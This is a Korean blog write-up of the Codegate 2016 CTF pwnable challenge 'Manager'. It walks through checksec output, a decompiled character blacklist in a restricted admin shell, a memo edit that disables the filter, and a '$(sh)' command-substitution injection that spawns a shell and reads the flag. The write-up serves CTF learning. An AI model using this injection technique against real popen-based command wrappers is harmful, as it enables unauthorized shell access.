본문 바로가기

CTFs/CodaGate PreQual 2016

[Codegate 2016] pwnable : Manager

Manager
1
2
3
4
5
6
7
8
9
zero@ubuntu:~/Desktop/ctf/cg2016$ file Manager
Manager: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked
zero@ubuntu:~/Desktop/ctf/cg2016$ gdb -q ./Manager
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
cs

이번 문제는 x64 바이너리고 메모리 보호 기법은 WaterMelon 문제와 비슷하군요

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
zero@ubuntu:~/Desktop/ctf/cg2016$ ./Manager
 
    Simple Manager Console Service
Are You want join? [Y/N] y
join
id> zero
pw> 1
pw retype> 1
join finished!
Your privileges is guest
1. manager shell
2. insert user info
3. modify user info
4. show user info
5. exit
choice> 1
==== manage shell ====
if you need help? just type help 
shell>
cs

실행해보니, 그냥 단순히 로긴을 하고 popen 함수를 사용해 원격지에서 명령어를 실행하고 memo 정도 하는 프로그램인거 같네요 

또한 내부 쉘에서 ps, who, help, ping, if(ifconfig), logout, exit 명령밖에 사용 못합니다.

그럼 ida 로 까보죠!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 filtering(const char *text) {
  signed int IsClear = 0;
  if ( strchr(text, ';') )
    IsClear = 1;
  if ( strchr(text, '\'') )
    IsClear = 1;
  if ( strchr(text, ' ') )
    IsClear = 1;
  if ( strchr(text, '&') )
    IsClear = 1;
  if ( strchr(text, '`') )
    IsClear = 1;
  if ( strchr(text, '<') )
    IsClear = 1;
  if ( strchr(text, '|') )
    IsClear = 1;
  if ( strchr(text, '>') )
    IsClear = 1;
  if ( strchr(text, '/') )
    IsClear = 1;
  return IsClear;
}
cs

다음은 필터링 함수인데요 다음과 같은 문자열이 든 입력값들을 ban 하고 있습니다. ";","\"," ","&", "'", "|", ">", "/"

는 다행이 $ 이거하고 { , ) 등의 기호를 사용할 수 있네요

$(뭐시기) 이렇게 하면 될거 같네요.

1
2
3
4
.text:00000000004023F4                 mov     ecx, [rbp+arg_60]
.text:00000000004023F7                 mov     [rax+60h], ecx
.text:00000000004023FA                 lea     rdi, [rbp+arg_0]
.text:00000000004023FE                 call    rdx
cs

다음 코드는 1번 메뉴에서 shell 명령을 입력하면 그걸 (&cmd)(arg1, arg2) 이런 방식으로 실행시켜 주는 부분입니다.

[ 내부에 사용 가능한 명령어들 리스트가 어느 배열에 저장되어 있습네다 ]

1
2
3
4
5
6
7
8
9
10
11
12
  if ( BYTE2(a11) )  {
    printf("Current Memo: %s\n"&a11 + 2);
    __isoc99_scanf(" ");
    while ( fgets(s, 20, stdin) )  {
      if ( strchr(s, 10) )  {
        .....
        BYTE6(IsClear) = 0;
        break;
      }
    }
  ...
  }
cs

음 뭐 그냥 풀 수도 있지만 메모를 수정을 하면 IsClear 이 0이 되면서 저기 필터링하는 것들을 그냥 다 쓸 수가 있다.

$(sh) 를 입력해 쉘을 얻은 후 그냥 flag 를 읽으면 될거 같다.

1
2
3
4
fconfig> $(sh)
cat flag 1>&0
cat flag 0>&1
FLAG{Hungry~~}
cs

흠... 이렇게 간단한가.. 뭔가 파워야매같다 ㅋㅋㅋ 대회 당시의 상황은 잘 모르니.. 만약 안되면 메모를 수정해주자!

'CTFs > CodaGate PreQual 2016' 카테고리의 다른 글

[Codegate 2016] reversing : compress  (0) 2016.08.27
[Codegate 2016] pwnable : Fl0ppy  (0) 2016.08.27
[Codegate 2016] pwnable : WaterMelon  (0) 2016.08.27